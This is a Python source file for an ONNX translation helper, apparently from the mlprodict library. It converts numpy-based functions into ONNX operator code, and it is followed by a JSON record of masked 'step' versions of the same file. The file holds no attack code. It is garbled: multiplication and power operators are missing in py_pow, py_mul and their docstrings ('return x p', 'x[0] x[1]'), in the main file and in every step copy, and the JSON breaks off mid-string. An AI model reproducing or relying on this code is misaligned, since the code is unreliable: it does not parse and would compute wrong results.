""" @file @brief One class which visits a syntax tree. """ import inspect import ast from textwrap import dedent import numpy from scipy.spatial.distance import squareform, pdist from .node_visitor_translator import CodeNodeVisitor def py_make_float_array(cst, op_version=None): """ Creates an array with a single element from a constant. @param cst constant @param op_version unused @return array .. runpython:: :showcode: :warningout: DeprecationWarning from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array print(py_make_float_array(5.5)) """ return numpy.array([cst], dtype=numpy.float32) def py_pow(x, p, op_version=None): """ Function for python operator ````. @param x float @param p power @param op_version unused @return :math:`x^p` """ return x p def py_mul(x, op_version=None): """ Function for python operator ````. @param x floats @param op_version unused @return `xy` """ if len(x) == 2: return x[0] x[1] p = x[0] for y in x[1:]: p = y return p def py_opp(x, op_version=None): """ Function for python unary operator ``-``. @param x floats @param op_version unused @return `-x` """ return -x def squareform_pdist(X, metric='sqeuclidean', op_version=None): """ Replacements for `squareform <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.squareform.html>`_ and `pdist <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.pdist.html>`_. """ return squareform(pdist(X, metric=metric)) def get_default_context(): """ Returns a default context useful for most of the conversion from a function using :epkg:`numpy` into :epkg:`ONNX`. """ context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array, 'py_mul': py_mul, 'py_opp': py_opp, 'cdist': 'cdist', 'squareform_pdist': 'squareform_pdist'} allow = set(('abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divide' 'equal exp floor greater invert less log matmul maximum minimum mod' 'multiply power sign sin sinh sqrt square subtract tan tanh transpose').split()) for k, v in numpy.__dict__.items(): if k not in allow: continue context[f'numpy.{k}'] = v context[f'np.{k}'] = v return context def get_default_context_cpl(): """ Returns a default useful context to compile the converter returned by @see fn translate_fct2onnx. """ ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow, 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy} try: from skl2onnx.algebra.complex_functions import onnx_squareform_pdist # delayed from skl2onnx.algebra.complex_functions import onnx_cdist # delayed ctx['onnx_squareform_pdist'] = onnx_squareform_pdist ctx['onnx_cdist'] = onnx_cdist except ImportError: # pragma: no cover # Too old version for skl2onnx. pass from skl2onnx.algebra import onnx_ops # delayed from skl2onnx.algebra.onnx_operator import OnnxOperator # delayed d = onnx_ops.__dict__ for k, v in d.items(): try: if k.startswith("Onnx") and issubclass(v, OnnxOperator): ctx[k] = v except TypeError as e: if inspect.isfunction(v): continue raise RuntimeError( # pragma: no cover f"Issue with {k}={v} (type={type(v)})") from e return ctx def translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None, output_names=None, dtype=numpy.float32, verbose=0, fLOG=None): """ Translates a function into :epkg:`ONNX`. The code it produces is using classes OnnxAbs, OnnxAdd, ... @param fct function to convert @param context context of the function to convert something like ``{'numpy.transpose': numpy.transpose}``, if context* is None, it receives a default value returnd by @see fn get_default_context @param cpl compile the function after it was created @param context_cpl context used at compiling time if context_cpl is None, it receives a default value returnd by @see fn get_default_context_cpl @param output_names names of the output in the :epkg:`ONNX` graph @param dtype :epkg:`numpy` float type used to produce the model @param verbose integer, display more information @param fLOG logging function @return code or compiled code .. exref:: :title: Convert a function into ONNX code The following code parses a python function and returns another python function which produces an :epkg:`ONNX` graph if executed. .. runpython:: :showcode: :warningout: DeprecationWarning :process: :store_in_file: fct2onnx2.py import numpy from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx def trs(x, y): z = x + numpy.transpose(y, axes=[1, 0]) return x * z onnx_code = translate_fct2onnx( trs, context={'numpy.transpose': numpy.transpose}) print(onnx_code) Next example goes further and compile the outcome. .. exref:: :title: Convert a function into ONNX code and run The following code parses a python function and returns another python function which produces an :epkg:`ONNX` graph if executed. The example executes the function, creates an :epkg:`ONNX` then uses @see cl OnnxInference to compute predictions. Finally it compares them to the original. .. runpython:: :showcode: :warningout: DeprecationWarning :process: :store_in_file: fct2onnx3.py import numpy from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx from mlprodict.plotting.text_plot import onnx_simple_text_plot from mlprodict.onnxrt import OnnxInference from mlprodict.npy.xop import loadop OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop( 'Add', 'Transpose', 'Mul', 'Identity') ctx = {'OnnxAdd': OnnxAdd, 'OnnxTranspose': OnnxTranspose, 'OnnxMul': OnnxMul, 'OnnxIdentity': OnnxIdentity} def trs(x, y): z = x + numpy.transpose(y, axes=[1, 0]) return x * z inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32), 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T} original = trs(inputs['x'], inputs['y']) print('original output:', original) onnx_fct = translate_fct2onnx( trs, context={'numpy.transpose': numpy.transpose}, cpl=True, context_cpl=ctx, output_names=['Z']) onnx_code = onnx_fct('x', 'y', op_version=12) onnx_g = onnx_code.to_onnx(inputs, target_opset=12) print("ONNX model") print(onnx_simple_text_plot(onnx_g)) oinf = OnnxInference(onnx_g) res = oinf.run(inputs) print('-----------') print("ONNX inference:", res['Z']) The function to be converted may include python functions which must not be converted. In that case, their name must be prefixed by ``py_``. The execution of the function this one builds produces the following error:: TypeError: Parameter to MergeFrom() must be instance of same class: expected onnx.TensorProto got onnx.AttributeProto. It indicates that constants in the code marges multiple types, usually floats and tensor of floats. Floats should be converted using the following function:: def py_make_float_array(cst): return numpy.array([cst], dtype=numpy.float32) The function replaces empty contexts by default values which covers many :epkg:`numpy` functions. The tutorial :ref:`l-onnx-tutorial` gives an example of how it can be used on a more complex function. """ def compile_code(name, code, context=None): """ Compiles a python function with the given context. @param name function name @param code python code @param context context used at compilation @return compiled function """ if context is None: context = {} # pragma: no cover try: obj = compile(code, "", "exec") except SyntaxError as e: # pragma: no cover raise SyntaxError(f"Unable to compile\n{code}") from e context_g = context.copy() context_l = context.copy() exec(obj, context_g, context_l) # pylint: disable=W0122 return context_l[name] if isinstance(fct, str): code = fct elif callable(fct): code = inspect.getsource(fct) else: raise TypeError( # pragma: no cover f"Unable to guess code from type {type(fct)}.") node = ast.parse(dedent(code)) v = CodeNodeVisitor() v.visit(node) if context is None: context = get_default_context() onnx_code = v.export(context=context, output_names=output_names) if not cpl: return onnx_code if verbose > 0 and fLOG is not None: # pragma: no cover fLOG('[translate_fct2onnx] python code') fLOG(code) fLOG('[translate_fct2onnx] ONNX code') fLOG(onnx_code) if context_cpl is None: context_cpl = get_default_context_cpl() if 'numpy' not in context_cpl: context_cpl = context_cpl.copy() context_cpl['numpy'] = numpy return compile_code(fct.__name__, onnx_code, context_cpl)	normal	{ "blob_id": "fdf6c28e65b50c52550a95c2d991b1eb3ec53a2f", "index": 3540, "step-1": "<mask token>\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\n<mask token>\n\n\ndef py_mul(x, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x floats\n @param op_version unused\n @return `xy`\n \"\"\"\n if len(x) == 2:\n return x[0] x[1]\n p = x[0]\n for y in x[1:]:\n p = y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\n<mask token>\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes OnnxAbs, OnnxAdd, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if context_cpl is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute predictions. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-2": "<mask token>\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x p\n\n\ndef py_mul(x, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x floats\n @param op_version unused\n @return `xy`\n \"\"\"\n if len(x) == 2:\n return x[0] x[1]\n p = x[0]\n for y in x[1:]:\n p = y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\n<mask token>\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes OnnxAbs, OnnxAdd, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if context_cpl is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute predictions. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-3": "<mask token>\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x p\n\n\ndef py_mul(x, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x floats\n @param op_version unused\n @return `xy`\n \"\"\"\n if len(x) == 2:\n return x[0] x[1]\n p = x[0]\n for y in x[1:]:\n p = y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\n<mask token>\n\n\ndef get_default_context():\n \"\"\"\n Returns a default context useful for most of the conversion\n from a function using :epkg:`numpy` into :epkg:`ONNX`.\n \"\"\"\n context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array,\n 'py_mul': py_mul, 'py_opp': py_opp, 'cdist': 'cdist',\n 'squareform_pdist': 'squareform_pdist'}\n allow = set(\n 'abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divideequal exp floor greater invert less log matmul maximum minimum modmultiply power sign sin sinh sqrt square subtract tan tanh transpose'\n .split())\n for k, v in numpy.__dict__.items():\n if k not in allow:\n continue\n context[f'numpy.{k}'] = v\n context[f'np.{k}'] = v\n return context\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = onnx_ops.__dict__\n for k, v in d.items():\n try:\n if k.startswith('Onnx') and issubclass(v, OnnxOperator):\n ctx[k] = v\n except TypeError as e:\n if inspect.isfunction(v):\n continue\n raise RuntimeError(f'Issue with {k}={v} (type={type(v)})') from e\n return ctx\n\n\ndef translate_fct2onnx(fct, context=None, cpl=False, context_cpl=None,\n output_names=None, dtype=numpy.float32, verbose=0, fLOG=None):\n \"\"\"\n Translates a function into :epkg:`ONNX`. The code it produces\n is using classes OnnxAbs, OnnxAdd, ...\n\n @param fct function to convert\n @param context context of the function to convert\n something like ``{'numpy.transpose': numpy.transpose}``,\n if context* is None, it receives a default value\n returnd by @see fn get_default_context\n @param cpl compile the function after it was\n created\n @param context_cpl context used at compiling time\n if context_cpl is None, it receives a default value\n returnd by @see fn get_default_context_cpl\n @param output_names names of the output in the :epkg:`ONNX` graph\n @param dtype :epkg:`numpy` float type used to produce the model\n @param verbose integer, display more information\n @param fLOG logging function\n @return code or compiled code\n\n .. exref::\n :title: Convert a function into ONNX code\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx2.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n onnx_code = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose})\n print(onnx_code)\n\n Next example goes further and compile the outcome.\n\n .. exref::\n :title: Convert a function into ONNX code and run\n\n The following code parses a python function and returns\n another python function which produces an :epkg:`ONNX`\n graph if executed. The example executes the function,\n creates an :epkg:`ONNX` then uses @see cl OnnxInference\n to compute predictions. Finally it compares\n them to the original.\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n :process:\n :store_in_file: fct2onnx3.py\n\n import numpy\n from mlprodict.onnx_tools.onnx_grammar import translate_fct2onnx\n from mlprodict.plotting.text_plot import onnx_simple_text_plot\n from mlprodict.onnxrt import OnnxInference\n from mlprodict.npy.xop import loadop\n\n\n OnnxAdd, OnnxTranspose, OnnxMul, OnnxIdentity = loadop(\n 'Add', 'Transpose', 'Mul', 'Identity')\n\n\n ctx = {'OnnxAdd': OnnxAdd,\n 'OnnxTranspose': OnnxTranspose,\n 'OnnxMul': OnnxMul,\n 'OnnxIdentity': OnnxIdentity}\n\n def trs(x, y):\n z = x + numpy.transpose(y, axes=[1, 0])\n return x * z\n\n inputs = {'x': numpy.array([[1, 2]], dtype=numpy.float32),\n 'y': numpy.array([[-0.3, 0.4]], dtype=numpy.float32).T}\n\n original = trs(inputs['x'], inputs['y'])\n\n print('original output:', original)\n\n onnx_fct = translate_fct2onnx(\n trs, context={'numpy.transpose': numpy.transpose},\n cpl=True, context_cpl=ctx, output_names=['Z'])\n\n onnx_code = onnx_fct('x', 'y', op_version=12)\n\n onnx_g = onnx_code.to_onnx(inputs, target_opset=12)\n print(\"ONNX model\")\n print(onnx_simple_text_plot(onnx_g))\n\n oinf = OnnxInference(onnx_g)\n res = oinf.run(inputs)\n\n print('-----------')\n print(\"ONNX inference:\", res['Z'])\n\n The function to be converted may include python functions\n which must not be converted. In that case, their name\n must be prefixed by ``py_``. The execution of the function\n this one builds produces the following error::\n\n TypeError: Parameter to MergeFrom() must be instance of same class:\n expected onnx.TensorProto got onnx.AttributeProto.\n\n It indicates that constants in the code marges multiple types,\n usually floats and tensor of floats. Floats should be converted\n using the following function::\n\n def py_make_float_array(cst):\n return numpy.array([cst], dtype=numpy.float32)\n\n The function replaces empty contexts by default values which\n covers many :epkg:`numpy` functions. The tutorial\n :ref:`l-onnx-tutorial` gives an example of how it can be used\n on a more complex function.\n \"\"\"\n\n def compile_code(name, code, context=None):\n \"\"\"\n Compiles a python function with the given\n context.\n\n @param name function name\n @param code python code\n @param context context used at compilation\n @return compiled function\n \"\"\"\n if context is None:\n context = {}\n try:\n obj = compile(code, '', 'exec')\n except SyntaxError as e:\n raise SyntaxError(f'Unable to compile\\n{code}') from e\n context_g = context.copy()\n context_l = context.copy()\n exec(obj, context_g, context_l)\n return context_l[name]\n if isinstance(fct, str):\n code = fct\n elif callable(fct):\n code = inspect.getsource(fct)\n else:\n raise TypeError(f'Unable to guess code from type {type(fct)}.')\n node = ast.parse(dedent(code))\n v = CodeNodeVisitor()\n v.visit(node)\n if context is None:\n context = get_default_context()\n onnx_code = v.export(context=context, output_names=output_names)\n if not cpl:\n return onnx_code\n if verbose > 0 and fLOG is not None:\n fLOG('[translate_fct2onnx] python code')\n fLOG(code)\n fLOG('[translate_fct2onnx] ONNX code')\n fLOG(onnx_code)\n if context_cpl is None:\n context_cpl = get_default_context_cpl()\n if 'numpy' not in context_cpl:\n context_cpl = context_cpl.copy()\n context_cpl['numpy'] = numpy\n return compile_code(fct.__name__, onnx_code, context_cpl)\n", "step-4": "<mask token>\nimport inspect\nimport ast\nfrom textwrap import dedent\nimport numpy\nfrom scipy.spatial.distance import squareform, pdist\nfrom .node_visitor_translator import CodeNodeVisitor\n\n\ndef py_make_float_array(cst, op_version=None):\n \"\"\"\n Creates an array with a single element\n from a constant.\n\n @param cst constant\n @param op_version unused\n @return array\n\n .. runpython::\n :showcode:\n :warningout: DeprecationWarning\n\n from mlprodict.onnx_tools.onnx_grammar.onnx_translation import py_make_float_array\n print(py_make_float_array(5.5))\n \"\"\"\n return numpy.array([cst], dtype=numpy.float32)\n\n\ndef py_pow(x, p, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x float\n @param p power\n @param op_version unused\n @return :math:`x^p`\n \"\"\"\n return x p\n\n\ndef py_mul(x, op_version=None):\n \"\"\"\n Function for python operator ````.\n\n @param x floats\n @param op_version unused\n @return `xy`\n \"\"\"\n if len(x) == 2:\n return x[0] x[1]\n p = x[0]\n for y in x[1:]:\n p = y\n return p\n\n\ndef py_opp(x, op_version=None):\n \"\"\"\n Function for python unary operator ``-``.\n\n @param x floats\n @param op_version unused\n @return `-x`\n \"\"\"\n return -x\n\n\ndef squareform_pdist(X, metric='sqeuclidean', op_version=None):\n \"\"\"\n Replacements for `squareform\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.squareform.html>`_\n and `pdist\n <http://scipy.github.io/devdocs/generated/scipy.spatial.distance.pdist.html>`_.\n \"\"\"\n return squareform(pdist(X, metric=metric))\n\n\ndef get_default_context():\n \"\"\"\n Returns a default context useful for most of the conversion\n from a function using :epkg:`numpy` into :epkg:`ONNX`.\n \"\"\"\n context = {'py_pow': py_pow, 'py_make_float_array': py_make_float_array,\n 'py_mul': py_mul, 'py_opp': py_opp, 'cdist': 'cdist',\n 'squareform_pdist': 'squareform_pdist'}\n allow = set(\n 'abs add ceil arccos arccosh arcsin arcsinh arctan arctanh ceil cos cosh divideequal exp floor greater invert less log matmul maximum minimum modmultiply power sign sin sinh sqrt square subtract tan tanh transpose'\n .split())\n for k, v in numpy.__dict__.items():\n if k not in allow:\n continue\n context[f'numpy.{k}'] = v\n context[f'np.{k}'] = v\n return context\n\n\ndef get_default_context_cpl():\n \"\"\"\n Returns a default useful context to compile the converter\n returned by @see fn translate_fct2onnx.\n \"\"\"\n ctx = {'py_make_float_array': py_make_float_array, 'py_pow': py_pow,\n 'py_mul': py_mul, 'py_opp': py_opp, 'numpy': numpy}\n try:\n from skl2onnx.algebra.complex_functions import onnx_squareform_pdist\n from skl2onnx.algebra.complex_functions import onnx_cdist\n ctx['onnx_squareform_pdist'] = onnx_squareform_pdist\n ctx['onnx_cdist'] = onnx_cdist\n except ImportError:\n pass\n from skl2onnx.algebra import onnx_ops\n from skl2onnx.algebra.onnx_operator import OnnxOperator\n d = 